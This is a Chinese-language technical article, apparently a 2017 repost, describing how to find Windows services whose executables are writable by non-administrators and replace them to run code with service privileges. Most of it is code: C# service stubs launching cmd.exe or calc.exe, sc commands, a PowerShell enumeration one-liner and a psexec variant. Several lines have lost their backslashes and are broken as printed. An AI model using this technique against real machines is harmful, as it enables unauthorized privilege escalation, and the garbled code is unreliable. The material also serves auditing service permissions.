本文讲的是
使用PowerShell找到可写的Windows服务并利用,
从DidierStevens的博客学到了一些技巧,本文将要对其中涉及到的技巧进行测试总结,并开源一个powershell脚本,用来寻找可被替换的服务,实现自动化利用。
using System.ServiceProcess; namespace Demo { public class Service : ServiceBase { protected override void OnStart(string[] args) { System.Diagnostics.Process.Start("cmd.exe"); } } static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } } }
sc query
sc qc 服务名
sc create Test type= own binpath= c:\test\test.exe
sc delete 服务名
Get-WmiObject win32_service | select Name,PathName
Get-WmiObject win32_service | select Name,PathName
$out = (Get-WmiObject win32_service | select PathName)$out|% {[array]$global:path += $_.PathName}
$out[0].PathName.Substring($out[0].PathName.IndexOfAny("C"),$out[0].PathName.LastIndexOfAny(""))
$out[0].PathName.ToUpper().Substring($out[0].PathName.ToUpper().IndexOfAny("C"),$out[0].PathName.ToUpper().LastIndexOfAny(""))
foreach ($item in $out){$item.PathName.ToUpper().Substring($item.PathName.ToUpper().IndexOfAny("C"),$item.PathName.ToUpper().LastIndexOfAny("\"))}
for($i=0;$i -le $out.Count-1;$i++){$out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))}
$a=$out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny("\"))Get-Acl -Path $a |select Owner
If($a.Owner -ne "NT AUTHORITY\SYSTEM"){If($a.Owner -ne "NT SERVICE\TrustedInstaller"){If($a.Owner -ne "BUILTIN\Administrators"){$a.Owner }}}
Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName
$ErrorActionPreference="SilentlyContinue"$out = (Get-WmiObject win32_service | select PathName)$out|% {[array]$global:path += $_.PathName}for($i=0;$i -le $out.Count-1;$i++){$a=Get-Acl -Path $out[$i].PathName.ToUpper().Substring($out[$i].PathName.ToUpper().IndexOfAny("C"),$out[$i].PathName.ToUpper().LastIndexOfAny(""))If($a.Owner -ne "NT AUTHORITYSYSTEM"){If($a.Owner -ne "NT SERVICETrustedInstaller"){If($a.Owner -ne "BUILTINAdministrators"){Get-WmiObject win32_service | ?{$_.PathName -like $out[$i].PathName}|select Name,PathName,ProcessId,StartMode,State,StatusWrite-host Owner: $a.Owner}}}}Write-host [+] All done.
sc create Test type= own binpath= c:\test\test.exe
using System.ServiceProcess;namespace Demo{public class Service : ServiceBase{protected override void OnStart(string[] args){System.Diagnostics.Process.Start("calc.exe");}}static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }}
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe test.cs
sc start Test
rename test.exe test2.exe
sc stop Testsc start Test
using System.ServiceProcess;namespace Demo{public class Service : ServiceBase{protected override void OnStart(string[] args){System.Diagnostics.Process.Start(@"c:testpsexec.exe", @"-accepteula -d -i 1 calc.exe");}}static class Program { static void Main() { ServiceBase.Run(new ServiceBase[] { new Service() }); } }}
原文发布时间为:2017年9月12日
本文作者:3gstudent
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。